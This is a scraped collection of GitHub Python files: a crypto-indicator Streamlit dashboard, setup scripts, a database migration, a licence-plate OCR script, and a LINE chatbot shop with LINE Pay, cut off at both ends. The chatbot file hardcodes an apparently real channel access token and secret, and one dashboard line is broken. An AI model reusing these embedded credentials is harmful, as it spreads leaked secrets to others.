5)\n # ax.set_ylim(1e-3, None)\n \n figure_name = output_dir + 'power_spectrum.png'\n fig.savefig( figure_name, bbox_inches='tight', dpi=300, facecolor=fig.get_facecolor() )\n print( f'Saved Figure: {figure_name}' )\n\n","repo_name":"bvillasen/cosmo_ics","sub_path":"tools/plotting_functions.py","file_name":"plotting_functions.py","file_ext":"py","file_size_in_byte":4191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26188790120","text":"import setuptools\r\n\r\nwith open(\"README.md\", \"r\") as fh:\r\n long_description = fh.read()\r\n\r\nsetuptools.setup(\r\n name='inkplate6_commander',\r\n version=\"0.1\",\r\n author=\"Michael Schuldes\",\r\n author_email=\"schuldes@pm.me\",\r\n description=\"Send UART commands to Inkplate6\",\r\n long_description=long_description,\r\n long_description_content_type=\"text/markdown\",\r\n url=\"https://github.com/MSSandroid/inkplate6_commander\",\r\n packages=setuptools.find_packages(),\r\n classifiers=[\r\n \"Programming Language :: Python :: 3\",\r\n \"License :: MIT\",\r\n \"Operating System :: OS Independent\",\r\n ],\r\n python_requires='>=3.7',\r\n install_requires=[\r\n 'parse',\r\n 'pyserial',\r\n ])\r\n\r\n","repo_name":"MSSandroid/inkplate6_commander","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74258425831","text":"\nimport streamlit as st\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport yfinance as yf # https://pypi.org/project/yfinance/\n\n##############################\n# Technical Analysis Classes #\n##############################\n\n# https://github.com/bukosabino/ta/blob/master/ta/utils.py\nclass IndicatorMixin:\n \"\"\"Util mixin indicator class\"\"\"\n\n _fillna = False\n\n def _check_fillna(self, series: pd.Series, value: int = 0) -> pd.Series:\n \"\"\"Check if fillna flag is True.\n Args:\n series(pandas.Series): dataset 'Close' column.\n value(int): value to fill gaps; if -1 fill values using 'backfill' mode.\n Returns:\n pandas.Series: New feature generated.\n \"\"\"\n if self._fillna:\n series_output = series.copy(deep=False)\n series_output = series_output.replace([np.inf, -np.inf], np.nan)\n if isinstance(value, int) and value == -1:\n series = series_output.fillna(method=\"ffill\").fillna(value=-1)\n else:\n series = series_output.fillna(method=\"ffill\").fillna(value)\n return series\n\n @staticmethod\n def _true_range(\n high: pd.Series, low: pd.Series, prev_close: pd.Series\n ) -> pd.Series:\n tr1 = high - low\n tr2 = (high - prev_close).abs()\n tr3 = (low - prev_close).abs()\n true_range = pd.DataFrame(data={\"tr1\": tr1, \"tr2\": tr2, \"tr3\": tr3}).max(axis=1)\n return true_range\n\n\ndef dropna(df: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Drop rows with \"Nans\" values\"\"\"\n df = df.copy()\n number_cols = df.select_dtypes(\"number\").columns.to_list()\n df[number_cols] = df[number_cols][df[number_cols] < math.exp(709)] # big number\n df[number_cols] = df[number_cols][df[number_cols] != 0.0]\n df = df.dropna()\n return df\n\n\ndef _sma(series, periods: int, fillna: bool = False):\n min_periods = 0 if fillna else periods\n return series.rolling(window=periods, min_periods=min_periods).mean()\n\n\ndef _ema(series, periods, fillna=False):\n min_periods = 0 if fillna else periods\n return series.ewm(span=periods, min_periods=min_periods, adjust=False).mean()\n\n\ndef _get_min_max(series1: pd.Series, series2: pd.Series, function: str = \"min\"):\n \"\"\"Find min or max value between two lists for each index\"\"\"\n series1 = np.array(series1)\n series2 = np.array(series2)\n if function == \"min\":\n output = np.amin([series1, series2], axis=0)\n elif function == \"max\":\n output = np.amax([series1, series2], axis=0)\n else:\n raise ValueError('\"f\" variable value should be \"min\" or \"max\"')\n\n return pd.Series(output)\n\n\n# https://github.com/bukosabino/ta/blob/master/ta/volatility.py\nclass BollingerBands(IndicatorMixin):\n # \"\"\"Bollinger Bands\n # https://school.stockcharts.com/doku.php?id=technical_indicators:bollinger_bands\n # Args:\n # close(pandas.Series): dataset 'Close' column.\n # window(int): n period.\n # window_dev(int): n factor standard deviation\n # fillna(bool): if True, fill nan values.\n # \"\"\"\n\n def __init__(\n self,\n close: pd.Series,\n window: int = 20,\n window_dev: int = 2,\n fillna: bool = False,\n ):\n self._close = close\n self._window = window\n self._window_dev = window_dev\n self._fillna = fillna\n self._run()\n\n def _run(self):\n min_periods = 0 if self._fillna else self._window\n self._mavg = self._close.rolling(self._window, min_periods=min_periods).mean()\n self._mstd = self._close.rolling(self._window, min_periods=min_periods).std(\n ddof=0\n )\n self._hband = self._mavg + self._window_dev * self._mstd\n self._lband = self._mavg - self._window_dev * self._mstd\n\n def bollinger_mavg(self) -> pd.Series:\n # \"\"\"Bollinger Channel Middle Band\n # Returns:\n # pandas.Series: New feature generated.\n # \"\"\"\n mavg = self._check_fillna(self._mavg, value=-1)\n return pd.Series(mavg, name=\"mavg\")\n\n def bollinger_hband(self) -> pd.Series:\n # \"\"\"Bollinger Channel High Band\n # Returns:\n # pandas.Series: New feature generated.\n # \"\"\"\n hband = self._check_fillna(self._hband, value=-1)\n return pd.Series(hband, name=\"hband\")\n\n def bollinger_lband(self) -> pd.Series:\n # \"\"\"Bollinger Channel Low Band\n # Returns:\n # pandas.Series: New feature generated.\n # \"\"\"\n lband = self._check_fillna(self._lband, value=-1)\n return pd.Series(lband, name=\"lband\")\n\n def bollinger_wband(self) -> pd.Series:\n # \"\"\"Bollinger Channel Band Width\n # From: https://school.stockcharts.com/doku.php?id=technical_indicators:bollinger_band_width\n # Returns:\n # pandas.Series: New feature generated.\n # \"\"\"\n wband = ((self._hband - self._lband) / self._mavg) * 100\n wband = self._check_fillna(wband, value=0)\n return pd.Series(wband, name=\"bbiwband\")\n\n def bollinger_pband(self) -> pd.Series:\n # \"\"\"Bollinger Channel Percentage Band\n # From: https://school.stockcharts.com/doku.php?id=technical_indicators:bollinger_band_perce\n # Returns:\n # pandas.Series: New feature generated.\n # \"\"\"\n pband = (self._close - self._lband) / (self._hband - self._lband)\n pband = self._check_fillna(pband, value=0)\n return pd.Series(pband, name=\"bbipband\")\n\n def bollinger_hband_indicator(self) -> pd.Series:\n # \"\"\"Bollinger Channel Indicator Crossing High Band (binary).\n # It returns 1, if close is higher than bollinger_hband. Else, it returns 0.\n # Returns:\n # pandas.Series: New feature generated.\n # \"\"\"\n hband = pd.Series(\n np.where(self._close > self._hband, 1.0, 0.0), index=self._close.index\n )\n hband = self._check_fillna(hband, value=0)\n return pd.Series(hband, index=self._close.index, name=\"bbihband\")\n\n def bollinger_lband_indicator(self) -> pd.Series:\n # \"\"\"Bollinger Channel Indicator Crossing Low Band (binary).\n # It returns 1, if close is lower than bollinger_lband. Else, it returns 0.\n # Returns:\n # pandas.Series: New feature generated.\n # \"\"\"\n lband = pd.Series(\n np.where(self._close < self._lband, 1.0, 0.0), index=self._close.index\n )\n lband = self._check_fillna(lband, value=0)\n return pd.Series(lband, name=\"bbilband\")\n\n# https://github.com/bukosabino/ta/blob/master/ta/momentum.py\nclass RSIIndicator(IndicatorMixin):\n # \"\"\"Relative Strength Index (RSI)\n # Compares the magnitude of recent gains and losses over a specified time\n # period to measure speed and change of price movements of a security. It is\n # primarily used to attempt to identify overbought or oversold conditions in\n # the trading of an asset.\n # https://www.investopedia.com/terms/r/rsi.asp\n # Args:\n # close(pandas.Series): dataset 'Close' column.\n # window(int): n period.\n # fillna(bool): if True, fill nan values.\n # \"\"\"\n\n def __init__(self, close: pd.Series, window: int = 14, fillna: bool = False):\n self._close = close\n self._window = window\n self._fillna = fillna\n self._run()\n\n def _run(self):\n diff = self._close.diff(1)\n up_direction = diff.where(diff > 0, 0.0)\n down_direction = -diff.where(diff < 0, 0.0)\n min_periods = 0 if self._fillna else self._window\n emaup = up_direction.ewm(\n alpha=1 / self._window, min_periods=min_periods, adjust=False\n ).mean()\n emadn = down_direction.ewm(\n alpha=1 / self._window, min_periods=min_periods, adjust=False\n ).mean()\n relative_strength = emaup / emadn\n self._rsi = pd.Series(\n np.where(emadn == 0, 100, 100 - (100 / (1 + relative_strength))),\n index=self._close.index,\n )\n\n def rsi(self) -> pd.Series:\n \"\"\"Relative Strength Index (RSI)\n Returns:\n pandas.Series: New feature generated.\n \"\"\"\n rsi_series = self._check_fillna(self._rsi, value=50)\n return pd.Series(rsi_series, name=\"rsi\")\n \nclass MACD(IndicatorMixin):\n # \"\"\"Moving Average Convergence Divergence (MACD)\n # Is a trend-following momentum indicator that shows the relationship between\n # two moving averages of prices.\n # https://school.stockcharts.com/doku.php?id=technical_indicators:moving_average_convergence_divergence_macd\n # Args:\n # close(pandas.Series): dataset 'Close' column.\n # window_fast(int): n period short-term.\n # window_slow(int): n period long-term.\n # window_sign(int): n period to signal.\n # fillna(bool): if True, fill nan values.\n # \"\"\"\n\n def __init__(\n self,\n close: pd.Series,\n window_slow: int = 26,\n window_fast: int = 12,\n window_sign: int = 9,\n fillna: bool = False,\n ):\n self._close = close\n self._window_slow = window_slow\n self._window_fast = window_fast\n self._window_sign = window_sign\n self._fillna = fillna\n self._run()\n\n def _run(self):\n self._emafast = _ema(self._close, self._window_fast, self._fillna)\n self._emaslow = _ema(self._close, self._window_slow, self._fillna)\n self._macd = self._emafast - self._emaslow\n self._macd_signal = _ema(self._macd, self._window_sign, self._fillna)\n self._macd_diff = self._macd - self._macd_signal\n\n def macd(self) -> pd.Series:\n \"\"\"MACD Line\n Returns:\n pandas.Series: New feature generated.\n \"\"\"\n macd_series = self._check_fillna(self._macd, value=0)\n return pd.Series(\n macd_series, name=f\"MACD_{self._window_fast}_{self._window_slow}\"\n )\n\n def macd_signal(self) -> pd.Series:\n \"\"\"Signal Line\n Returns:\n pandas.Series: New feature generated.\n \"\"\"\n\n macd_signal_series = self._check_fillna(self._macd_signal, value=0)\n return pd.Series(\n macd_signal_series,\n name=f\"MACD_sign_{self._window_fast}_{self._window_slow}\",\n )\n\n def macd_diff(self) -> pd.Series:\n \"\"\"MACD Histogram\n Returns:\n pandas.Series: New feature generated.\n \"\"\"\n macd_diff_series = self._check_fillna(self._macd_diff, value=0)\n return pd.Series(\n macd_diff_series, name=f\"MACD_diff_{self._window_fast}_{self._window_slow}\"\n )\n\n####################\n# Extra Indicators #\n####################\n\nclass ROCIndicator(IndicatorMixin):\n # \"\"\"Rate of Change (ROC)\n # The Rate-of-Change (ROC) indicator, which is also referred to as simply\n # Momentum, is a pure momentum oscillator that measures the percent change in\n # price from one period to the next. The ROC calculation compares the current\n # price with the price “n” periods ago. The plot forms an oscillator that\n # fluctuates above and below the zero line as the Rate-of-Change moves from\n # positive to negative. As a momentum oscillator, ROC signals include\n # centerline crossovers, divergences and overbought-oversold readings.\n # Divergences fail to foreshadow reversals more often than not, so this\n # article will forgo a detailed discussion on them. Even though centerline\n # crossovers are prone to whipsaw, especially short-term, these crossovers\n # can be used to identify the overall trend. Identifying overbought or\n # oversold extremes comes naturally to the Rate-of-Change oscillator.\n # https://school.stockcharts.com/doku.php?id=technical_indicators:rate_of_change_roc_and_momentum\n # Args:\n # close(pandas.Series): dataset 'Close' column.\n # window(int): n period.\n # fillna(bool): if True, fill nan values.\n # \"\"\"\n\n def __init__(self, close: pd.Series, window: int = 12, fillna: bool = False):\n self._close = close\n self._window = window\n self._fillna = fillna\n self._run()\n\n def _run(self):\n self._roc = (\n (self._close - self._close.shift(self._window))\n / self._close.shift(self._window)\n ) * 100\n\n def roc(self) -> pd.Series:\n # \"\"\"Rate of Change (ROC)\n # Returns:\n # pandas.Series: New feature generated.\n # \"\"\"\n roc_series = self._check_fillna(self._roc)\n return pd.Series(roc_series, name=\"roc\")\n\nclass TSIIndicator(IndicatorMixin):\n # \"\"\"True strength index (TSI)\n # Shows both trend direction and overbought/oversold conditions.\n # https://school.stockcharts.com/doku.php?id=technical_indicators:true_strength_index\n # Args:\n # close(pandas.Series): dataset 'Close' column.\n # window_slow(int): high period.\n # window_fast(int): low period.\n # fillna(bool): if True, fill nan values.\n # \"\"\"\n\n def __init__(\n self,\n close: pd.Series,\n window_slow: int = 25,\n window_fast: int = 13,\n fillna: bool = False,\n ):\n self._close = close\n self._window_slow = window_slow\n self._window_fast = window_fast\n self._fillna = fillna\n self._run()\n\n def _run(self):\n diff_close = self._close - self._close.shift(1)\n min_periods_r = 0 if self._fillna else self._window_slow\n min_periods_s = 0 if self._fillna else self._window_fast\n smoothed = (\n diff_close.ewm(\n span=self._window_slow, min_periods=min_periods_r, adjust=False\n )\n .mean()\n .ewm(span=self._window_fast, min_periods=min_periods_s, adjust=False)\n .mean()\n )\n smoothed_abs = (\n abs(diff_close)\n .ewm(span=self._window_slow, min_periods=min_periods_r, adjust=False)\n .mean()\n .ewm(span=self._window_fast, min_periods=min_periods_s, adjust=False)\n .mean()\n )\n self._tsi = smoothed / smoothed_abs\n self._tsi *= 100\n\n def tsi(self) -> pd.Series:\n \"\"\"True strength index (TSI)\n Returns:\n pandas.Series: New feature generated.\n \"\"\"\n tsi_series = self._check_fillna(self._tsi, value=0)\n return pd.Series(tsi_series, name=\"tsi\")\n\n \n##################\n# Set up sidebar #\n##################\n# video_file = open('crypto.mp4', 'rb')\n# video_bytes = video_file.read()\n\n# st.video(video_bytes)\n# st.sidebar.markdown('##### Crypto Dashboard')\nst.sidebar.title('Crypto Dashboard :moneybag:')\n\nfrom PIL import Image \nimage = Image.open('crypto_coins2.png')\nst.sidebar.image(image)\n\noption = st.sidebar.selectbox('Select a Cryptocurrency', ('BTC-USD','ETH-USD','USDT-USD','USDC-USD','BNB-USD','XRP-USD','BUSD-USD','DOGE-USD','ADA-USD','MATIC-USD','DOT-USD','DAI-USD','WTRX-USD','LTC-USD','SOL-USD','TRX-USD','SHIB-USD','HEX-USD','UNI7083-USD','STETH-USD','AVAX-USD','LEO-USD','LINK-USD','WBTC-USD','TON11419-USD'))\n\nst.title(option)\nimport datetime\n\ntoday = datetime.date.today()\nbefore = today - datetime.timedelta(days=730)\nstart_date = st.sidebar.date_input('Start date', before) \nend_date = st.sidebar.date_input('End date', today)\nif start_date < end_date:\n st.sidebar.success('Start date: `%s`\\n\\nEnd date:`%s`' % (start_date, end_date))\nelse:\n st.sidebar.error('Error: End date must fall after start date.')\n\nst.sidebar.caption('Presented by Jeff, Thomas and Ray')\n\n##############\n# Stock data #\n##############\n\n# https://technical-analysis-library-in-python.readthedocs.io/en/latest/ta.html#momentum-indicators\n\ndf = yf.download(option,start= start_date,end= end_date, progress=False)\n\nindicator_bb = BollingerBands(df['Close'])\n\nbb = df\nbb['Bollinger_Band_High'] = indicator_bb.bollinger_hband()\nbb['Bollinger_Band_Low'] = indicator_bb.bollinger_lband()\nbb = bb[['Close','Bollinger_Band_High','Bollinger_Band_Low']]\n\nmacd = MACD(df['Close']).macd()\n\nrsi = RSIIndicator(df['Close']).rsi()\n\ntsi = TSIIndicator(df['Close']).tsi()\n\nroc = ROCIndicator(df['Close']).roc()\n###################\n# Set up main app #\n###################\n\n\n\n\n\nst.line_chart(bb)\n\nprogress_bar = st.progress(0)\n\ncol1, col2 = st.columns(2)\n\nwith col1: \n st.markdown('##### Moving Average Convergence Divergence (MACD)')\n st.area_chart(macd)\n st.markdown(\"MACD is used to identify changes in the direction or strength of a stock's price trend. MACD can seem complicated at first glance, because it relies on additional statistical concepts such as the exponential moving average (EMA). But fundamentally, MACD helps in detecting when the recent momentum in a stock's price may signal a change in its underlying trend. This can be useful when deciding when to enter, add to, or exit a position.\")\n\nwith col2:\n st.markdown(\"##### Relative Strength Index (RSI)\")\n st.line_chart(rsi)\n st.markdown(\"- Buying opportunities at oversold positions (when the RSI value is 30 and below)\\n - Buying opportunities in a bullish trend (when the RSI is above 50 but below 70)\\n - Selling opportunities at overbought positions (when the RSI value is 70 and above)\\n - Selling opportunities in a bearish trend (when the RSI value is below 50 but above 30\") \n st.markdown(\" \")\n st.markdown(\" \")\n\n \ncol1, col2 = st.columns(2)\n\nwith col1: \n st.markdown(\"##### True Strength Index (TSI)\")\n st.line_chart(tsi)\n st.markdown(\"Shows both trend direction and overbought/oversold conditions.\")\n st.markdown(\" \")\n st.markdown(\" \")\n\nwith col2:\n st.markdown(\"##### Rate of Change (ROC)\")\n st.line_chart(roc)\n st.markdown(\"The Rate of Change (ROC) indicator, which is also referred to as simply Momentum, is a pure momentum oscillator that measures the percent change in price from one period to the next.\")\n st.markdown(\" \")\n st.markdown(\" \")\n\nst.markdown(\"##### 15 Day Snapshot :chart_with_upwards_trend:\")\nst.write(option)\nst.dataframe(df.tail(15))\n\n################\n# Download csv #\n################\n\nimport base64\nfrom io import BytesIO\n\ndef to_excel(df):\n output = BytesIO()\n writer = pd.ExcelWriter(output, engine='xlsxwriter')\n df.to_excel(writer, sheet_name='Sheet1')\n writer.save()\n processed_data = output.getvalue()\n return processed_data\n\ndef get_table_download_link(df):\n \"\"\"Generates a link allowing the data in a given panda dataframe to be downloaded\n in: dataframe\n out: href string\n \"\"\"\n val = to_excel(df)\n b64 = base64.b64encode(val) # val looks like b'...'\n return f'Download excel file' # decode b'abc' => abc\n\nst.markdown(\" \")\nst.markdown(\"##### Create Crypto Report :pencil:\")\nst.markdown(get_table_download_link(df), unsafe_allow_html=True)\n\n@st.cache\ndef convert_df(df):\n # IMPORTANT: Cache the conversion to prevent computation on every rerun\n return df.to_csv().encode('utf-8')\n\ncsv = convert_df(df)\n\nst.download_button(\n label=\"Download data as CSV\",\n data=csv,\n file_name='crypto.csv',\n mime='text/csv',\n)\n","repo_name":"tpalmz313/FinTech-culminating-project","sub_path":"2_column_format.py","file_name":"2_column_format.py","file_ext":"py","file_size_in_byte":19196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"40187975225","text":"from setuptools import setup\nimport setuptools\nimport pathlib\n\nHERE = pathlib.Path(__file__).parent\n\n# The text of the README file\nREADME = (HERE / \"README.md\").read_text()\n\nsetup(\n name='py-imagizer',\n version='0.0.2',\n description='It is one stop app that is used for Image Processing and Image Editing.The app has ability to change any image into its dense pencil sketches, colour pencil sketch, colour paints, cartoon image, water colour paints effect, etc. We have use Open CV and Numpy as dependencies that run the Package and you and freely contribute new pieces of code on Github',\n author= 'Kush Munot',\n url = 'https://github.com/Kush-munot/CG_Assignment',\n long_description=README,\n long_description_content_type=\"text/markdown\",\n packages=setuptools.find_packages(),\n keywords=['image processing', 'numpy', 'opencv', 'kush munot', 'py-imagizer', 'imagizer', 'image filters', 'filters', 'image to sketch', 'image to cartoon', 'image to oil paint', 'image to water color', 'blur image'],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n python_requires='>=3.10.0',\n py_modules=['py-imagizer'],\n package_dir={'':'src'},\n install_requires = [\n 'opencv-python',\n 'numpy',\n 'opencv-contrib-python'\n ]\n)","repo_name":"Kush-munot/CG_Assignment","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"44741981134","text":"\"\"\"Userテーブルにdelete_flgカラム追加\n\nRevision ID: e497ecc26d17\nRevises: 64de43dc85ad\nCreate Date: 2021-10-22 23:56:36.276346\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'e497ecc26d17'\ndown_revision = '64de43dc85ad'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('users', sa.Column('delete_flg', sa.Boolean(), nullable=False))\n op.execute(\"UPDATE users SET delete_flg = true\")\n op.drop_index('username', table_name='users')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_index('username', 'users', ['username'], unique=False)\n op.drop_column('users', 'delete_flg')\n # ### end Alembic commands ###\n","repo_name":"nepp-tumsat/todo-app","sub_path":"migrations/versions/e497ecc26d17_userテーブルにdelete_flgカラム追加.py","file_name":"e497ecc26d17_userテーブルにdelete_flgカラム追加.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41481160263","text":"import cv2\nimport numpy as np\nimport pytesseract\n# создать новый объект камеру\ncapt = cv2.VideoCapture('./test/test_video.mp4')\n# инициализировать поиск лица (по умолчанию каскад Хаара)\ncar_cascade = cv2.CascadeClassifier(\"haarcascade_russian_plate_number.xml\")\npytesseract.pytesseract.tesseract_cmd = r\"C:/Program Files/Tesseract-OCR/tesseract.exe\"\nconfig = r' --oem 3 --psm 10 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'\npath = r'./save_img/'\nwith open(\"numbers.txt\") as f:\n nums_list = f.readlines()\n\nfor i in range(len(nums_list)):\n nums_list[i]= nums_list[i].strip()\nnums_in = []\nwhile capt.isOpened():\n # чтение изображения с камеры\n _, image = capt.read()\n #image = cv2.flip(image, 1)\n image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n ret, thresh = cv2.threshold(image_gray, 80, 255, cv2.THRESH_BINARY)\n contours, hierarchy = cv2.findContours(image_gray, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\n img_erode = cv2.erode(thresh, np.ones((3, 3), np.uint8), iterations=2)\n\n contours, hierarchy = cv2.findContours(img_erode, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\n\n car_numbers = car_cascade.detectMultiScale(image_gray, 1.3, 5)\n\n for x, y, width, height in car_numbers:\n image_car_number = image_gray[y: (y + height), x: (x + width)].copy()\n number = pytesseract.image_to_string(image_car_number, config=config).strip()\n #print(number)\n cv2.rectangle(image, (x, y), (x + width, y + height), color=(0, 255, 0), thickness=2)\n \n if number in nums_list and not(number in nums_in):\n print(\"Доступ разрешен\")\n nums_in.append(number)\n \n cv2.imshow(\"image\", image)\n k = cv2.waitKey(30) & 0xFF\n if k == 27:\n break\ncapt.release()\ncv2.destroyAllWindows()","repo_name":"hgnyumyu/-","sub_path":"Работа с номерами транспортных средств/license_numbere_recognition.py","file_name":"license_numbere_recognition.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"46606003100","text":"# -*- coding: utf-8 -*-\n## 載入需要的模組 ##\nfrom flask import Flask, request, abort\n\nfrom linebot import (\n LineBotApi, WebhookHandler\n)\nfrom linebot.exceptions import (\n InvalidSignatureError\n)\nfrom linebot.models import *\nimport re\n\nfrom sqlalchemy.sql.expression import text\nfrom database import db_session, init_db\nfrom user import Users\nfrom product import Products\nfrom cart import Cart\nfrom config import Config\nfrom order import Orders\nfrom item import Items\n\nfrom linepay import LinePay\nfrom urllib.parse import parse_qsl\nimport uuid\napp = Flask(__name__)\n## LINE 聊天機器人的基本資料 ##\nline_bot_api = LineBotApi('k/mPd9EjsdkYBoZszsBncRnPi0azFEkFPukixE9TbfZ1oavqogKusZ8ozTedw23JFMYv2dHsmLkw6F605se8HpCUPEML9UYEdmRBirCZFIwpxUdTZuji54xOO9mrJ7FvNJ39XzIJJPlFl/0SpJV/EAdB04t89/1O/w1cDnyilFU=')\nhandler = WebhookHandler('7f19d3f182789e74eb99832c7c2d2517')\n\n#line_bot_api.push_message('Ud79ee4eb29a3613bfb2783494aa62f4d', TextSendMessage(text='💝💝歡迎光臨您到來!!!💝💝'))\n\n####################### function #####################################################\ndef is_ascii(s):\n return all(ord(c) < 128 for c in s)\n\ndef Usage(event):\n push_msg(event,\" 🌸 歡迎到來愛麗絲花店 🌸 \\\n \\n\\\n \\n 🌈🌈 介紹 🌈🌈\\\n \\n\\\n \\n💕 在某年某月的各種花 💕\\\n \\n🌟 讓我們一起期待春暖花開的那天 🌟\\\n \\n🌟 油價通知 ➦➦➦ 輸入查詢油價 🌟\")\n\ndef push_msg(evevt,msg):\n try:\n user_id = evevt.source.user_id\n line_bot_api.push_message(user_id,TextSendMessage(text=msg))\n except:\n room_id = evevt.source.user_id\n line_bot_api.push_message(room_id,TextSendMessage(text=msg))\n \n\n@app.teardown_appcontext #加上這個function可以幫助我們每一次執行完後都會關閉資料庫連線\ndef shutdown_session(exception=None):\n db_session.remove()\n\n#建立或取得user id\ndef get_or_create_user(user_id):\n #從id=user_id先獲得有沒有這個user,如果有就直接跳到return\n user = db_session.query(Users).filter_by(id=user_id).first()\n #沒有的話就會透過line_bot_api來取得用戶資訊\n if not user:\n profile = line_bot_api.get_profile(user_id)\n #然後再建立user並且存入到資料庫當中\n user = Users(id=user_id, nick_name=profile.display_name,image_url=profile.picture_url)\n db_session.add(user)\n db_session.commit()\n@app.route(\"/confirm\")\ndef confirm():\n transaction_id = request.args.get('transactionId')\n order = db_session.query(Orders).filter(Orders.transaction_id == transaction_id).first()\n\n if order:\n line_pay = LinePay()\n line_pay.confirm(transaction_id=transaction_id, amount=order.amount)\n\n order.is_pay = True#確認收款無誤時就會改成已付款\n db_session.commit()\n \n #傳收據給用戶\n message = order.display_receipt()\n line_bot_api.push_message(to=order.user_id, messages=message)\n\n return '

Your payment is successful. thanks for your purchase.

'\n\n## 接收 LINE 的資訊 ##\n@app.route(\"/callback\", methods=['POST'])\ndef callback():\n # get X-Line-Signature header value\n signature = request.headers['X-Line-Signature']\n\n # get request body as text\n body = request.get_data(as_text=True)\n app.logger.info(\"Request body: \" + body)\n\n ## handle webhook body\n try:\n handler.handle(body, signature)\n except InvalidSignatureError:\n print(\"Invalid signature. Please check your channel access token/channel secret.\")\n abort(400)\n\n return 'OK'\n\n## 學你說話\n@handler.add(MessageEvent, message=TextMessage)\ndef handle_message(event):\n get_or_create_user(event.source.user_id)#加入這行\n #message_text = str(event.message.text).lower()#將所有的字變成小寫\n\n #如果沒有中文,就轉小寫,如果有中文,就不轉換\n if is_ascii(str(event.message.text)):\n message_text = str(event.message.text).lower()\n else:\n message_text = event.message.text\n\n emsg = event.message.text\n message = None\n\n '''print(event.source.user_id)\n profile = line_bot_api.get_profile(event.source.user_id)\n\n print(profile.user_id)\n print(profile.picture_url)\n print(profile.status_message)#None'''\n\n cart = Cart(user_id = event.source.user_id)\n #######################判斷區#####################################################\n if re.match('/help|news',emsg):\n Usage(event)\n\n if message_text in [\"what is your story?\", \"story\"]:\n message = [\n ImageSendMessage(\n original_content_url='https://i.imgur.com/DKzbk3l.jpg',\n preview_image_url='https://i.imgur.com/DKzbk3l.jpg'\n ), StickerSendMessage(\n #熊大\n package_id='11537',\n sticker_id='52002734'\n )\n ]\n\n elif message_text in ['i am ready to order.', 'add']:\n #message = TextSendMessage(text='list products')\n message = Products.list_all()\n\n elif message_text in ['my cart', 'cart']:\n message = TextSendMessage(text='cart')\n\n elif \"like to have\" in message_text:\n product_name = message_text.split(',')[0]\n num_item = message_text.rsplit(':')[1]\n product = db_session.query(Products).filter(Products.name.ilike(product_name)).first()\n message = TextSendMessage(text='Yep')\n \n if product:\n cart.add(product=product_name, num=num_item)\n confirm_template = ConfirmTemplate(\n text= 'Sure, {} {}, anything else?'.format(num_item, product_name),\n actions=[\n MessageAction(label='Add', text='add'),\n MessageAction(label=\"That's it\", text=\"that's it\")\n ])\n message = TemplateSendMessage(alt_text='anything else?', template=confirm_template)\n \n else:\n message = TextSendMessage(text=\"Sorry, We din't have {}.\".format(product_name))\n print(cart.bucket())\n \n elif message_text in ['my cart', \"that's it\"]:\n if cart.bucket():\n #message = TextSendMessage(text='Well done.')\n message = cart.display()\n else:\n message = TextSendMessage(text='Your cart is empty now.')\n\n elif message_text == 'empty cart':\n\n cart.reset()\n\n message = TextSendMessage(text='Your cart is empty now.')\n\n if message:\n line_bot_api.reply_message(\n event.reply_token,\n message) \n@handler.add(PostbackEvent)\ndef handle_postback(event):\n data = dict(parse_qsl(event.postback.data))#先將postback中的資料轉成字典\n\n action = data.get('action')#再get action裡面的值\n\n if action == 'checkout':#如果action裡面的值是checkout的話才會執行結帳的動作\n\n user_id = event.source.user_id#取得user_id\n\n cart = Cart(user_id=user_id)#透過user_id取得購物車\n\n if not cart.bucket():#判斷購物車裡面有沒有資料,沒有就回傳購物車是空的\n message = TextSendMessage(text='Your cart is empty now.')\n\n line_bot_api.reply_message(event.reply_token, [message])\n\n return 'OK'\n\n order_id = uuid.uuid4().hex#如果有訂單的話就會使用uuid的套件來建立,因為它可以建立獨一無二的值\n\n total = 0 #總金額\n items = [] #暫存訂單項目\n\n for product_name, num in cart.bucket().items():#透過迴圈把項目轉成訂單項目物件\n #透過產品名稱搜尋產品是不是存在\n product = db_session.query(Products).filter(Products.name.ilike(product_name)).first()\n #接著產生訂單項目的物件\n item = Items(product_id=product.id,\n product_name=product.name,\n product_price=product.price,\n order_id=order_id,\n quantity=num)\n\n items.append(item)\n\n total += product.price * int(num)#訂單價格 * 訂購數量\n #訂單項目物件都建立後就會清空購物車\n cart.reset()\n #建立LinePay的物件\n line_pay = LinePay()\n #再使用line_pay.pay的方法,最後就會回覆像postman的格式\n info = line_pay.pay(product_name='LSTORE',\n amount=total,\n order_id=order_id,\n product_image_url=Config.STORE_IMAGE_URL)\n #取得付款連結和transactionId後\n pay_web_url = info['paymentUrl']['web']\n transaction_id = info['transactionId']\n #接著就會產生訂單\n order = Orders(id=order_id,\n transaction_id=transaction_id,\n is_pay=False,\n amount=total,\n user_id=user_id)\n #接著把訂單和訂單項目加入資料庫中\n db_session.add(order)\n\n for item in items:\n db_session.add(item)\n\n db_session.commit()\n #最後告知用戶並提醒付款\n message = TemplateSendMessage(\n alt_text='Thank you, please go ahead to the payment.',\n template=ButtonsTemplate(\n text='Thank you, please go ahead to the 